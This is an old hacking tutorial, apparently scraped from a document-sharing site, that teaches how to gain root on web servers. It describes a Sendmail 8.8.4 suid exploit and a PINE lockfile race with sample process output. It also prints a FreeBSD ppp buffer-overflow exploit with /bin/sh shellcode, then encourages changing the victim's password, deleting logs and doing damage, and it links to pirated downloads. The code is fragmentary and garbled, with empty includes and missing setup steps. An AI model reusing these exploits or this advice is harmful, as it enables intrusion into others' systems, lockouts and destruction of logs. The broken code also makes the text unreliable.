Beruflich Dokumente
Kultur Dokumente
ABHISHEK KUNAL.....................
Well exploits are the best way of hacking webpages but they are also more c
omplicated then hacking through ftp or using the phf. Before you can setup
an exploit you must first have a telnet proggie, there are many different c
lients you can just do a netsearch and find everything you need.
It's best to get an account with your target(if possible) and view the glitch
es from the inside out. Exploits expose errors or bugs in systems and usually
allow you to gain root access. There are many different exploits around and
you can view each seperately. I'm going to list a few below but the list of e
xploits is endless.
This exploit is known as Sendmail v.8.8.4 It creates a suid program /tmp/x tha
t calls shell as root. This is how you set it up:
and now on to another exploit. I'm going to display the pine exploit throug
h linux. By watching the process table with ps to see which users are runni
ng PINE, one can then do an ls in /tmp/ to gather the lockfile names for ea
ch user. Watching the process table once again will now reveal when each us
er quits PINE or runs out of unread messages in their INBOX, effectively de
leting the respective lockfile.
This was writen by Sean B. Hamors for this example, hamors is the victim whi
le catluvr is the attacker:
catluvr 1739 0.0 1.8 100 356 pp3 S 19:07 0:00 grep pine
hamors 1732 0.8 5.7 249 1104 pp2 S 19:05 0:00 pine
catluvr (7 19:07) litterbox:~> ls -al /tmp/ | grep hamors
- -rw-rw-rw- 1 hamors elite 4 Aug 26 19:05 .302.f5a4
now on to another one, this will be the last one that I'm going to show. Ex
ploitation script for the ppp vulnerbility as described by no one to date,
this is NOT FreeBSD-SA-96:15. Works on FreeBSD as tested. Mess with the num
bers if it doesnt work. This is how you set it up:
#include
#include
#include
"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f" /*
16 bytes */
"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52" /*
16 bytes */
"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01" /*
20 bytes */
"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04"; /*
15 bytes, 57 total */
int i,j;
buf = malloc(4096);
i = BUFFER_SIZE-strlen(execshell);
Now that you've gotten root "what's next?" Well the choice is up to you bu
t I would recommend changing the password before you delete or change anyt
hing. To change their password all you have to do is login via telnet and
login with your new account. Then you just type: passwd and it will ask yo
u for the old password first followed by the new one. Now only you will ha
ve the new pw and that should last for a while you can now upload you page
s, delete all the logs and just plain do your worst. [I hope that's a joke
- Harl] Psychotic writes our own exploits and we will be releasing them s
oon, so keep your eyes open for them. We recommend that if you are serious
about learning ethical hacking that you download our Unix Bible
http://hotfile.com/get/15981444/4c60ab6a/b80518e/Wiley_Linux_Bible.rar
http://hotfile.com/dl/32609941/f7364e0/Linux.Bible.2010.Edition.rar.html
THANKS!!!!!! (KUNAL)